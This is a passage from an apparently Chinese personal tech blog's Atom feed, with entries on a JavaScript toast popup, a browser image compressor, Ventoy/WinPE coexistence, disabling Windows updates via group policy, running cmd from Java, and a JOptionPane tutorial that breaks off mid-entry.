    <link href="https://gddhy.net/2024/js-jian-dan-dan-kuang-toast/"/>
    <id>https://gddhy.net/2024/js-jian-dan-dan-kuang-toast/</id>
    <published>2024-03-04T10:55:27.000Z</published>
    <updated>2026-05-29T05:26:45.521Z</updated>
    
    <content type="html"><![CDATA[<p>新建toast.js文件  </p><a id="more"></a>  <figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">Toast</span>(<span class="params">msg,duration</span>)</span>&#123;</span><br><span class="line">      duration=<span class="built_in">isNaN</span>(duration)?<span class="number">3000</span>:duration;</span><br><span class="line">      <span class="keyword">var</span> m = <span class="built_in">document</span>.createElement(<span class="string">'div'</span>);</span><br><span class="line">      m.innerHTML = msg;</span><br><span class="line">      m.style.cssText=<span class="string">"max-width:60%;min-width: 150px;padding:0 14px;height: 40px;color: rgb(255, 255, 255);line-height: 40px;text-align: center;border-radius: 4px;position: fixed;top: 50%;left: 50%;transform: translate(-50%, -50%);z-index: 999999;background: rgba(0, 0, 0,.7);font-size: 16px;"</span>;</span><br><span class="line">      <span class="built_in">document</span>.body.appendChild(m);</span><br><span class="line">      setTimeout(<span class="function"><span class="keyword">function</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">        <span class="keyword">var</span> d = <span class="number">0.5</span>;</span><br><span class="line">        m.style.webkitTransition = <span class="string">'-webkit-transform '</span> + d + <span class="string">'s ease-in, opacity '</span> + d + <span class="string">'s ease-in'</span>;</span><br><span class="line">        m.style.opacity = <span class="string">'0'</span>;</span><br><span class="line">        setTimeout(<span class="function"><span class="keyword">function</span>(<span class="params"></span>) </span>&#123; <span class="built_in">document</span>.body.removeChild(m) &#125;, d * <span class="number">1000</span>);</span><br><span class="line">      &#125;, duration);</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><p>应用：引入toast.js文件</p><figure class="highlight stylus"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="title">Toast</span><span class="params">(<span class="string">'这是一个弹框'</span>,<span class="number">2000</span>)</span></span></span><br></pre></td></tr></table></figure><blockquote><p>转载自 Lingn <a href="https://www.cnblogs.com/lingnweb/p/9956795.html" target="_blank" rel="noopener">https://www.cnblogs.com/lingnweb/p/9956795.html</a></p></blockquote><script>function Toast(msg,duration){      duration=isNaN(duration)?3000:duration;      var m = document.createElement('div');      m.innerHTML = msg;      m.style.cssText="max-width:60%;min-width: 150px;padding:0 14px;height: 40px;color: rgb(255, 255, 255);line-height: 40px;text-align: center;border-radius: 4px;position: fixed;top: 50%;left: 50%;transform: translate(-50%, -50%);z-index: 999999;background: rgba(0, 0, 0,.7);font-size: 16px;";      document.body.appendChild(m);      setTimeout(function() {        var d = 0.5;        m.style.webkitTransition = '-webkit-transform ' + d + 's ease-in, opacity ' + d + 's ease-in';        m.style.opacity = '0';        setTimeout(function() { document.body.removeChild(m) }, d * 1000);      }, duration);}</script><br>  <input type="button" onclick="javascript:Toast('toast提示',2000);" value="点击查看弹窗示例">]]></content>
    
    <summary type="html">
    
      &lt;p&gt;新建toast.js文件  &lt;/p&gt;
    
    </summary>
    
    
    
      <category term="JavaScript" scheme="https://gddhy.net/tags/JavaScript/"/>
    
  </entry>
  
  <entry>
    <title>图片压缩</title>
    <link href="https://gddhy.net/2024/tu-pian-ya-suo/"/>
    <id>https://gddhy.net/2024/tu-pian-ya-suo/</id>
    <published>2024-02-29T13:16:41.000Z</published>
    <updated>2026-05-29T05:26:45.567Z</updated>
    
    <content type="html"><![CDATA[<p>在线图片压缩工具  </p><a id="more"></a>  <input id="upload" type="file"><div id="imagebox"></div><script> const FILETYPES = ["image/png", "image/jpg", "image/jpeg"]; // 受支持的文件类型 const MAX_FILESIZE = 1024 * 1024 * 3; // 1024 * 1024 为1M const MAX_FILESIZESTRING = "3M"; // 文件大小字符 const COMPRESSRATIO = .5; // 压缩比例 0 - 1 const upload = document.querySelector("#upload"); const imageToBase64 = (file, callback) => {     const reader = new FileReader();     reader.readAsDataURL(file); // 文件转base64     reader.addEventListener("load", (e) => {         callback && callback(e.target.result);     }); }; const compress = (originalImage, compressRatio = 1, callback) => {     const image = new Image();     image.src = originalImage;     // document.body.appendChild(image); // 原图预览     /* 监听图片的load事件 */     image.addEventListener("load", function () {         let [sizeRatio, maxWidth, maxHeight] = [0, 1024, 1024]; // 图片压缩宽高比例和最大宽高         let [imageWidth, imageHeight] = [this.naturalWidth, this.naturalHeight]; // 图片实际宽高         let compressFlag = false; // 图片是否需要压缩         // 如果图片宽度大于最大宽度就等比压缩图片的高度         if (imageWidth > maxWidth) {             compressFlag = true;             sizeRatio = imageWidth / maxWidth;             maxHeight = imageHeight / sizeRatio;         }         // 如果图片高度大于最大高度就等比压缩图片的宽度         if (imageHeight > maxHeight) {             compressFlag = true;             sizeRatio = imageHeight / maxHeight;             maxWidth = imageWidth / sizeRatio;         }         // 如果不需要压缩         if (!compressFlag) {             maxWidth = imageWidth;             maxHeight = imageHeight;         }         // 使用canvas压缩图片         const canvas = document.createElement("canvas");         const ctx = canvas.getContext("2d");         canvas.setAttribute("id", "canvas");         canvas.width = maxWidth;         canvas.height = maxHeight;         // document.body.appendChild(canvas); // canvas预览         ctx.clearRect(0, 0, maxWidth, maxHeight); // 清除画布内所有像素         ctx.drawImage(image, 0, 0, maxWidth, maxHeight); // canvas绘制当前图片         const compressImage = canvas.toDataURL("image/jpeg", compressRatio); // 设置压缩类型和压缩比例获取压缩后的文件         callback && callback(compressImage);     }); } upload.addEventListener("change", function (e) {     const [file] = e.target.files;     if (!file) this.value = ""; // file为空就阻止向下执行     const { type: fileType, size: fileSize } = file; // 获取文件类型和大小     // 检查是否支持的文件类型     if (!FILETYPES.includes(fileType)) {         this.value = "";         alert(`不支持${fileType}类型文件`);         return;     }     // 检查文件大小     if (fileSize > MAX_FILESIZE) {         this.value = "";         alert(`文件不能超过${MAX_FILESIZESTRING}`);         return;     }     imageToBase64(file, (originalImage) => {         compress(originalImage, COMPRESSRATIO, (compressImage) => {             const _img = new Image();             _img.src = compressImage;             const download = document.createElement("a");             download.href = compressImage;             download.innerText = "点击保存";             download.setAttribute("download", file.name + ".jpg");             const p = document.createElement('p');             let imgbox = document.getElementById('imagebox');             imgbox.appendChild(p);             imgbox.appendChild(_img); // 压缩后的图片预览             imgbox.appendChild(p);             imgbox.appendChild(download);             displayInfo('原文件大小', file);             displayInfo('压缩后大小', base64ToFile(compressImage, "demo.jpg"));         });     }); }) function displayInfo(label, file) {     const p = document.createElement('p');     p.innerText = `${label} - ${readableBytes(file.size)}`;     let imgbox = document.getElementById('imagebox');     imgbox.appendChild(p); } function base64ToFile(base64, fileName) {     let arr = base64.split(',');     let mime = arr[0].match(/:(.*?);/)[1];     let bstr = atob(arr[1]);     let n = bstr.length;     let u8arr = new Uint8Array(n);     while (n--) {         u8arr[n] = bstr.charCodeAt(n);     }     return new File([u8arr], fileName, { type: mime }); } function readableBytes(bytes) {     const i = Math.floor(Math.log(bytes) / Math.log(1024)),         sizes = ['B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'];     return (bytes / Math.pow(1024, i)).toFixed(2) + ' ' + sizes[i]; }</script><blockquote><p>js前端图片压缩，参考<br><a href="https://www.cnblogs.com/yangwenbo/p/16139207.html" target="_blank" rel="noopener">https://www.cnblogs.com/yangwenbo/p/16139207.html</a><br><a href="https://juejin.cn/post/7055605193211117581" target="_blank" rel="noopener">https://juejin.cn/post/7055605193211117581</a>  </p></blockquote><p>临时想用图片压缩时某引擎直接搜图片在线压缩都是广告或付费的，so自己抄了个</p><p>图片在线压缩工具 <a href="https://tool.lu/tinyimage/" target="_blank" rel="noopener">https://tool.lu/tinyimage/</a><br>图文工具箱（在线） <a href="https://imgtool.net/" target="_blank" rel="noopener">https://imgtool.net/</a></p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;在线图片压缩工具  &lt;/p&gt;
    
    </summary>
    
    
    
  </entry>
  
  <entry>
    <title>ventoy与传统pe共存</title>
    <link href="https://gddhy.net/2024/ventoy-yu-chuan-tong-pe-gong-cun/"/>
    <id>https://gddhy.net/2024/ventoy-yu-chuan-tong-pe-gong-cun/</id>
    <published>2024-02-28T22:20:51.000Z</published>
    <updated>2026-05-29T05:26:45.549Z</updated>
    
    <content type="html"><![CDATA[<p>在ventoy安装时选择分区设置，勾选保留后部空间，空间可以根据pe大小调整  </p><a id="more"></a>  <p>使用要共存的pe生成pe的ISO文件，推荐使用微pe</p><p>使用分区工具在ventoy重建时保留的空间创建分区，格式为fat16，将微pe的ISO文件解压复制到新建的fat16分区即可</p><p>后续电脑在使用U盘启动时可以看到U盘两个启动入口，分别是ventoy和微pe</p><p>ventoy：<a href="https://www.ventoy.net" target="_blank" rel="noopener">https://www.ventoy.net</a><br>微pe：<a href="https://www.wepe.com.cn" target="_blank" rel="noopener">https://www.wepe.com.cn</a></p><blockquote><p>共存方法来自：<br>【真正的all in one】创建与ventoy完全独立的引导分区，并把UOS系统装进Ventoy里<br><a href="https://m.bilibili.com/video/BV1bQ4y1H7mD" target="_blank" rel="noopener">https://m.bilibili.com/video/BV1bQ4y1H7mD</a></p></blockquote>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;在ventoy安装时选择分区设置，勾选保留后部空间，空间可以根据pe大小调整  &lt;/p&gt;
    
    </summary>
    
    
    
  </entry>
  
  <entry>
    <title>关闭Windows自动更新</title>
    <link href="https://gddhy.net/2024/guan-bi-windows-zi-dong-geng-xin/"/>
    <id>https://gddhy.net/2024/guan-bi-windows-zi-dong-geng-xin/</id>
    <published>2024-02-28T21:52:40.000Z</published>
    <updated>2026-05-29T05:26:45.555Z</updated>
    
    <content type="html"><![CDATA[<p>记录一个简单关闭Windows自动更新的方法  </p><a id="more"></a>  <p>使用 <code>WIN + R</code> 打开运行窗口，输入 <code>gpedit.msc</code> 后 <code>确定</code> ，打开 <code>本地组策略编辑器</code> </p><p>在 <code>本地组策略编辑器</code> 依次打开  <code>计算机配置</code> → <code>管理模版</code> → <code>Windows 组件</code> → <code>Windows 更新</code> → <code>指定Intranet Microsoft更新服务位置</code> </p><p>打开 <code>指定Intranet Microsoft更新服务位置</code> 后将 <code>未配置</code> 改为 <code>已启用</code> ，将 <code>设置检测更新的Intranet更新服务</code> 和 <code>设置Intranet统计服务器</code> 、 <code>设置备用下载服务器</code> 全部随便填写一个网址或本机ip（如 <code>https://gddhy.net</code> 或 <code>127.0.0.1</code> ），然后再依次点击 <code>应用</code> 和 <code>确定</code> ，回到Windows更新，会看到已经无法检查更新</p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;记录一个简单关闭Windows自动更新的方法  &lt;/p&gt;
    
    </summary>
    
    
    
  </entry>
  
  <entry>
    <title>使用Java调用cmd命令</title>
    <link href="https://gddhy.net/2024/shi-yong-java-diao-yong-cmd-ming-ling/"/>
    <id>https://gddhy.net/2024/shi-yong-java-diao-yong-cmd-ming-ling/</id>
    <published>2024-01-22T22:13:29.000Z</published>
    <updated>2026-05-29T05:26:45.551Z</updated>
    
    <content type="html"><![CDATA[<p>使用 java 调用 cmd 命令时，使用如下的代码(不需要导入其他库)   <a id="more"></a>  </p><figure class="highlight reasonml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="module-access"><span class="module"><span class="identifier">Runtime</span>.</span></span>get<span class="constructor">Runtime()</span>.exec(command); <span class="comment">//command是需要运行的命令</span></span><br></pre></td></tr></table></figure><p>但是呢,这样是运行不了的,要进行异常处理，或者将其抛出:</p><figure class="highlight reasonml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//这里选择异常处理</span></span><br><span class="line"><span class="keyword">try</span> &#123;</span><br><span class="line"> <span class="module-access"><span class="module"><span class="identifier">Runtime</span>.</span></span>get<span class="constructor">Runtime()</span>.exec(command);</span><br><span class="line">&#125; catch (IOException e1) &#123; <span class="comment">// 改自己的异常类</span></span><br><span class="line"> e1.print<span class="constructor">StackTrace()</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>现在,可以运行exe文件,但是若运行 gpedit.msc devmgmt.msc 等工具无反应</p><p>解决办法是,设定cmd的运行模式（这不是java的语法，是cmd的程序参数）:</p><figure class="highlight dockerfile"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#转至https://blog.csdn.net/liuyukuan/article/details/5974517</span></span><br><span class="line"><span class="keyword">cmd</span><span class="bash"> /c <span class="built_in">command</span> 执行完命令后关闭命令窗口。 </span></span><br><span class="line"><span class="keyword">cmd</span><span class="bash"> /k <span class="built_in">command</span> 执行完命令后不关闭命令窗口。 </span></span><br><span class="line"><span class="keyword">cmd</span><span class="bash"> /c start <span class="built_in">command</span> 会打开一个新窗口后执行命令，原窗口会关闭。 </span></span><br><span class="line"><span class="keyword">cmd</span><span class="bash"> /k start <span class="built_in">command</span> 会打开一个新窗口后执行命令，原窗口不会关闭。</span></span><br></pre></td></tr></table></figure><p>将命令改变后，就可以正常使用会弹出新窗口的工具了</p><p>但是，如果要调用出命令行及没有图型界面的工具或程序，则要用后面两个命令，不然不会弹出。</p><p>例如：</p><figure class="highlight reasonml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="module-access"><span class="module"><span class="identifier">Runtime</span>.</span></span>get<span class="constructor">Runtime()</span>.exec(<span class="string">"cmd /c  powershell"</span>);       <span class="comment">// 无反应</span></span><br><span class="line"><span class="module-access"><span class="module"><span class="identifier">Runtime</span>.</span></span>get<span class="constructor">Runtime()</span>.exec(<span class="string">"cmd /c  start powershell"</span>); <span class="comment">// 成功调出powershell</span></span><br></pre></td></tr></table></figure><p>个人理解是: java会在后台运行一个终端,然后再运行输入的代码,但是这个终端是不会到前台的,所以没图形界面的程序虽然能运行,但是无法显示.</p><p>等等,那要怎么获取命令的返回值呢?</p><p>首先,Runtime.getRuntime().exec()会返回被调用的进程,我们需要获取这个进程</p><p>接着,再通过输入流,让java程序读取被调用程序的返回值,再将其输出便可</p><p>例如:</p><figure class="highlight arduino"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 记得引入java.io中的相关包 */</span></span><br><span class="line"><span class="comment">// 获取进程</span></span><br><span class="line"><span class="built_in">Process</span> <span class="built_in">process</span> = Runtime.getRuntime().exec(<span class="string">"cmd /c dir"</span>); <span class="comment">// 运行dir命令</span></span><br><span class="line"><span class="comment">// 获取进程的输入流 流的方向为(唤醒的进程 -&gt; java程序)</span></span><br><span class="line">BufferedReader reader = <span class="keyword">new</span> BufferedReader(<span class="keyword">new</span> InputStreamReader(<span class="built_in">process</span>.getInputStream()));</span><br><span class="line"><span class="keyword">String</span> <span class="built_in">line</span>;</span><br><span class="line"><span class="comment">// 若读取当前行不为空，就将其输出</span></span><br><span class="line"><span class="keyword">while</span> ((<span class="built_in">line</span> = reader.readLine()) != null) &#123;</span><br><span class="line"> System.out.<span class="built_in">println</span>(<span class="built_in">line</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// 将流关闭，避免浪费系统资源</span></span><br><span class="line">reader.<span class="built_in">close</span>();</span><br></pre></td></tr></table></figure><p>此时,java程序就会打印出DIR命令的执行结果</p><p>但是注意,cmd不能加start参数,因为加上了会创建新的终端执行,java就得不到执行结果了</p><p> <strong>总结:</strong> </p><ol><li><p>java运行可执行文件,随意使用任意一种cmd运行方式</p></li><li><p>执行 *.msc 类文件,cmd要加上start参数(也就是后两种运行模式之一)开启新窗口.</p></li><li><p>想要得到运行的返回值,要先获取到进程,再得到它的输入流,并且cmd不能加上start参数,否则会在新的终端窗口执行.</p></li></ol><p>个人感觉是:带GUI程序任意,终端程序后两种,要得到返回值的话前两种</p><p>补充:</p><p>学生党,单纯做笔记使用,若有不足之处请指正,感激不尽!</p><blockquote><p>转载自<a href="https://www.cnblogs.com/youmiyou/p/15779230.html" target="_blank" rel="noopener">悠米呦-使用 Java 调用 cmd 命令</a></p></blockquote>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;使用 java 调用 cmd 命令时，使用如下的代码(不需要导入其他库)
    
    </summary>
    
    
    
  </entry>
  
  <entry>
    <title>超详细的Java弹窗样式及使用教程【JOptionPane类详细使用教程】</title>
    <link href="https://gddhy.net/2024/joptionpane-lei-xiang-xi-shi-yong-jiao-cheng/"/>
    <id>https://gddhy.net/2024/joptionpane-lei-xiang-xi-shi-yong-jiao-cheng/</id>
    <published>2024-01-19T12:09:16.000Z</published>
    <updated>2026-05-29T05:26:45.505Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>JOptionPane类是Swing程序设计中进行弹窗设置的主要方式，本文将详细对Java弹窗进行总结，包括弹窗的设置方法和对内容的读取！敬请阅读！</p></blockquote><a id="more"></a><p>Hello！你好哇，我是灰小猿，一个超会写bug的沙雕程序猿！</p><p>今天来和大家分享一个Swing程序设计中关于JOptionPane类的使用，该类的作用呢，其实主要就是设置弹窗，所以在这里也就和大家总结了常用的弹窗设置的方法以及JOptionPane类详细使用说明！</p><p>话不多说上教程！</p><p>JOptionPane类属于Swing组件中的一种，所以导入方式如下：</p><figure class="highlight actionscript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><span class="meta-keyword">import</span> javax.swing.JOptionPane;</span></span><br></pre></td></tr></table></figure><h4 id="四种消息提示框"><a href="#四种消息提示框" class="headerlink" title="四种消息提示框"></a>四种消息提示框</h4><p>在该类中常用的常用的四种消息提示框为：</p><table><thead><tr><th align="center">showConfirmDialog();</th><th align="center">确认对话框</th></tr></thead><tbody><tr><td align="center">showInputDialog();</td><td align="center">输入对话框</td></tr><tr><td align="center">showMessageDialog();</td><td align="center">消息对话框</td></tr><tr><td align="center">showOptionDialog();</td><td align="center">选择对话框</td></tr></tbody></table><h4 id="五种消息类型"><a href="#五种消息类型" class="headerlink" title="五种消息类型"></a>五种消息类型</h4><p>并且每一种消息框都有五种不同的消息类型，消息类型不同时，弹窗所对应的图标也就不同，以下是这五种消息类型：</p><table><thead><tr><th align="center">消息类型</th><th align="center">消息参数</th><th align="center">显示图标</th></tr></thead><tbody><tr><td align="center">错误消息</td><td align="center">ERROR_MESSAGE</td><td align="center"><img src="/img/preloader.gif" data-original="20200818165317141.png" alt="image"></td></tr><tr><td align="center">提示消息</td><td align="center">INFORMATION_MESSAGE</td><td align="center"><img src="/img/preloader.gif" data-original="20200818165327684.png" alt="img"></td></tr><tr><td align="center">警告消息</td><td align="center">WARNING_MESSAGE</td><td align="center"><img src="/img/preloader.gif" data-original="20200818165334754.png" alt="img"></td></tr><tr><td align="center">提问消息</td><td align="center">QUESTION_MESSAGE</td><td align="center"><img src="/img/preloader.gif" data-original="20200818165337796.png" alt="img"></td></tr><tr><td align="center">简约无图标</td><td align="center">PLAIN_MESSAGE</td><td align="center">无图标，直接显示消息内容</td></tr></tbody></table><p>在使用不同类型的消息框时，输入不同的消息类型参数，就可以得到相应的消息框。</p><h4 id="九种对话框参数"><a href="#九种对话框参数" class="headerlink" title="九种对话框参数"></a>九种对话框参数</h4><p>每一种消息提示框都对应有不同的参数的方法，从而得到不同的效果，但总结起来，这四种消息提示框的方法中都基本需要这九个参数：</p><table><thead><tr><th align="center">参数</th><th align="center">含义</th></tr></thead><tbody><tr><td align="center">parentComponent</td><td align="center">对话框所在的容器</td></tr><tr><td align="center">Message</td><td align="center">对话框现实的内容</td></tr><tr><td align="center">Title</td><td align="center">对话框标题</td></tr><tr><td align="center">Option type</td><td align="center">选择按钮类型</td></tr><tr><td align="center">Message type</td><td align="center">消息类型</td></tr><tr><td align="center">Icon</td><td align="center">自定义消息图标</td></tr><tr><td align="center">initialSelectionValue</td><td align="center">默认选项或信息</td></tr><tr><td align="center">selectionValues</td><td align="center">选择选项</td></tr><tr><td align="center">Options</td><td align="center">操作选项</td></tr></tbody></table><p>因为这四种对话框中所需要的参数都是以上九种，所以接下来对每一种对话框进行分析，</p><h4 id="确认对话框"><a href="#确认对话框" class="headerlink" title="确认对话框"></a>确认对话框</h4><p>确认对话框（showConfirmDialog）有以下四种构造函数，其中的参数与上表相对应：</p><figure class="highlight reasonml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1</span>、<span class="module-access"><span class="module"><span class="identifier">JOptionPane</span>.</span></span>show<span class="constructor">ConfirmDialog(<span class="params">parentComponent</span>, <span class="params">message</span>)</span></span><br><span class="line"><span class="number">2</span>、<span class="module-access"><span class="module"><span class="identifier">JOptionPane</span>.</span></span>show<span class="constructor">ConfirmDialog(<span class="params">parentComponent</span>, <span class="params">message</span>, <span class="params">title</span>, <span class="params">optionType</span>)</span></span><br><span class="line"><span class="number">3</span>、<span class="module-access"><span class="module"><span class="identifier">JOptionPane</span>.</span></span>show<span class="constructor">ConfirmDialog(<span class="params">parentComponent</span>, <span class="params">message</span>, <span class="params">title</span>, <span class="params">optionType</span>,<span class="params">messageType</span>)</span></span><br><span class="line"><span class="number">4</span>、<span class="module-access"><span class="module"><span class="identifier">JOptionPane</span>.</span></span>show<span class="constructor">ConfirmDialog(<span class="params">parentComponent</span>, <span class="params">message</span>, <span class="params">title</span>, <span class="params">optionType</span>, <span class="params">messageType</span>, <span class="params">icon</span>)</span></span><br></pre></td></tr></table></figure><p>实例如下</p><figure class="highlight reasonml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="module-access"><span class="module"><span class="identifier">JOptionPane</span>.</span></span>show<span class="constructor">ConfirmDialog(<span class="params">null</span>,<span class="string">"这是确认对话框吗？"</span>,<span class="string">"提示"</span>,JOptionPane.OK_OPTION,JOptionPane.QUESTION_MESSAGE)</span>;<span class="comment">//确认对话框</span></span><br></pre></td></tr></table></figure><p>效果如下：<br><img src="/img/preloader.gif" data-original="20200818165632962.png" alt="img"></p><p>对确认消息对话框消息进行接收的方法：</p><figure class="highlight reasonml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">int</span> userOption =  <span class="module-access"><span class="module"><span class="identifier">JOptionPane</span>.</span></span>show<span class="constructor">ConfirmDialog(<span class="params">null</span>,<span class="string">"这是确认对话框吗？"</span>,<span class="string">"提示"</span>,JOptionPane.OK_OPTION,JOptionPane.QUESTION_MESSAGE)</span>;<span class="comment">//确认对话框</span></span><br><span class="line"><span class="comment">//如果用户选择的是OK</span></span><br><span class="line"><span class="keyword">if</span> (userOption<span class="operator"> == </span>JOptionPane.OK_OPTION) &#123;</span><br><span class="line"> <span class="module-access"><span class="module"><span class="identifier">System</span>.</span></span>err.println(<span class="string">"是"</span>);</span><br><span class="line">&#125;<span class="keyword">else</span> &#123;</span><br><span class="line"> <span class="module-access"><span class="module"><span class="identifier">System</span>.</span></span>out.println(<span class="string">"否"</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="输入对话框"><a href="#输入对话框" class="headerlink" title="输入对话框"></a>输入对话框</h4><p>输入对话框（showInputDialog）有六种构造函数，分别如下：</p><figure class="highlight reasonml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1</span>、<span class="module-access"><span class="module"><span class="identifier">JOptionPane</span>.</span></span>show<span class="constructor">InputDialog(<span class="params">message</span>)</span>;</span><br><span class="line"><span class="number">2</span>、<span class="module-access"><span class="module"><span class="identifier">JOptionPane</span>.</span></span>show<span class="constructor">InputDialog(<span class="params">parentComponent</span>, <span class="params">message</span>)</span>;</span><br><span class="line"><span class="number">3</span>、<span class="module-access"><span class="module"><span class="identifier">JOptionPane</span>.</span></span>show<span class="constructor">InputDialog(<span class="params">message</span>, <span class="params">initialSelectionValue</span>)</span>;</span><br><span class="line"><span class="number">4</span>、<span class="module-access"><span class="module"><span class="identifier">JOptionPane</span>.</span></span>show<span class="constructor">InputDialog(<span class="params">parentComponent</span>,<span class="params">message</span>,<span class="params">initialSelectionValue</span>)</span></span><br><span class="line"><span class="number">5</span>、<span class="module-access"><span class="module"><span class="identifier">JOptionPane</span>.</span></span>show<span class="constructor">InputDialog(<span class="params">parentComponent</span>,<span class="params">message</span>, <span class="params">title</span>, <span class="params">messageType</span>)</span>;</span><br><span class="line"><span class="number">6</span>、<span class="module-access"><span class="module"><span class="identifier">JOptionPane</span>.</span></span>show<span class="constructor">InputDialog(<span class="params">parentComponent</span>, <span class="params">message</span>, <span class="params">title</span>, <span class="params">messageType</span>, <span class="params">icon</span>, <span class="params">selectionValues</span>, <span class="params">initialSelectionValue</span>)</span></span><br></pre></td></tr></table></figure><p>下面有两个关于该对话框的实例：</p><p>1、显示输入框，供用户输入，实例如下：</p><figure class="highlight reasonml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="module-access"><span class="module"><span class="identifier">JOptionPane</span>.</span></span>show<span class="constructor">InputDialog(<span class="params">null</span>,<span class="string">"请输入你的生日："</span>,<span class="string">"输入"</span>,JOptionPane.WARNING_MESSAGE)</span>;<span class="comment">//输入对话框</span></span><br></pre></td></tr></table></figure><p>效果如下：<br><img src="/img/preloader.gif" data-original="20200818170039284.png" alt="img"></p><p>普通输入框情况下获取用户输入内容的方法：</p><figure class="highlight reasonml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">String info = <span class="module-access"><span class="module"><span class="identifier">JOptionPane</span>.</span></span>show<span class="constructor">InputDialog(<span class="params">null</span>,<span class="string">"请输入你的生日："</span>,<span class="string">"输入"</span>,JOptionPane.WARNING_MESSAGE)</span>;<span class="comment">//输入对话框</span></span><br><span class="line"><span class="module-access"><span class="module"><span class="identifier">System</span>.</span></span>out.println(info);</span><br></pre></td></tr></table></figure><p>2、设置一个下拉框，供用户选择输入，最后一个参数表示下拉框默认显示的内容，实例如下：</p><figure class="highlight reasonml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">String <span class="literal">[]</span> options = &#123;<span class="string">"A选项"</span>,<span class="string">"B选项"</span>,<span class="string">"C选项"</span>,<span class="string">"D选项"</span>&#125;;</span><br><span class="line"><span class="module-access"><span class="module"><span class="identifier">JOptionPane</span>.</span></span>show<span class="constructor">InputDialog(<span class="params">null</span>,<span class="string">"请输入你的选项："</span>,<span class="string">"提示"</span>,JOptionPane.QUESTION_MESSAGE,<span class="params">null</span>,<span class="params">options</span>,<span class="params">options</span>[2])</span>;</span><br></pre></td></tr></table></figure><p>效果如下：<br><img src="/img/preloader.gif" data-original="20200818170317641.png" alt></p><p>下拉框情况下获取用户输入内容的方法：</p><figure class="highlight pgsql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">String [] <span class="keyword">options</span> = &#123;"A选项","B选项","C选项","D选项"&#125;;</span><br><span class="line">String <span class="keyword">info</span> =  (String)JOptionPane.showInputDialog(<span class="keyword">null</span>,"请输入你的选项：","提示",JOptionPane.QUESTION_MESSAGE,<span class="keyword">null</span>,<span class="keyword">options</span>,<span class="keyword">options</span>[<span class="number">2</span>]);</span><br><span class="line"><span class="keyword">System</span>.<span class="keyword">out</span>.println(<span class="keyword">info</span>);</span><br></pre></td></tr></table></figure><h4 id="消息对话框"><a href="#消息对话框" class="headerlink" title="消息对话框"></a>消息对话框</h4><p>消息对话框（showMessageDialog）有三种构造函数，具体如下：</p><figure class="highlight reasonml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1</span>、<span class="module-access"><span class="module"><span class="identifier">JOptionPane</span>.</span></span>show<span class="constructor">MessageDialog(<span class="params">parentComponent</span>, <span class="params">message</span>)</span>;</span><br><span class="line"><span class="number">2</span>、<span class="module-access"><span class="module"><span class="identifier">JOptionPane</span>.</span></span>show<span class="constructor">MessageDialog(<span class="params">parentComponent</span>, <span class="params">message</span>, <span class="params">title</span>, <span class="params">messageType</span>)</span>;</span><br><span class="line"><span class="number">3</span>、<span class="module-access"><span class="module"><span class="identifier">JOptionPane</span>.</span></span>show<span class="constructor">MessageDialog(<span class="params">parentComponent</span>, <span class="params">message</span>, <span class="params">title</span>, <span class="params">messageType</span>, <span class="params">icon</span>)</span>;</span><br></pre></td></tr></table></figure><p>实例如下：</p><figure 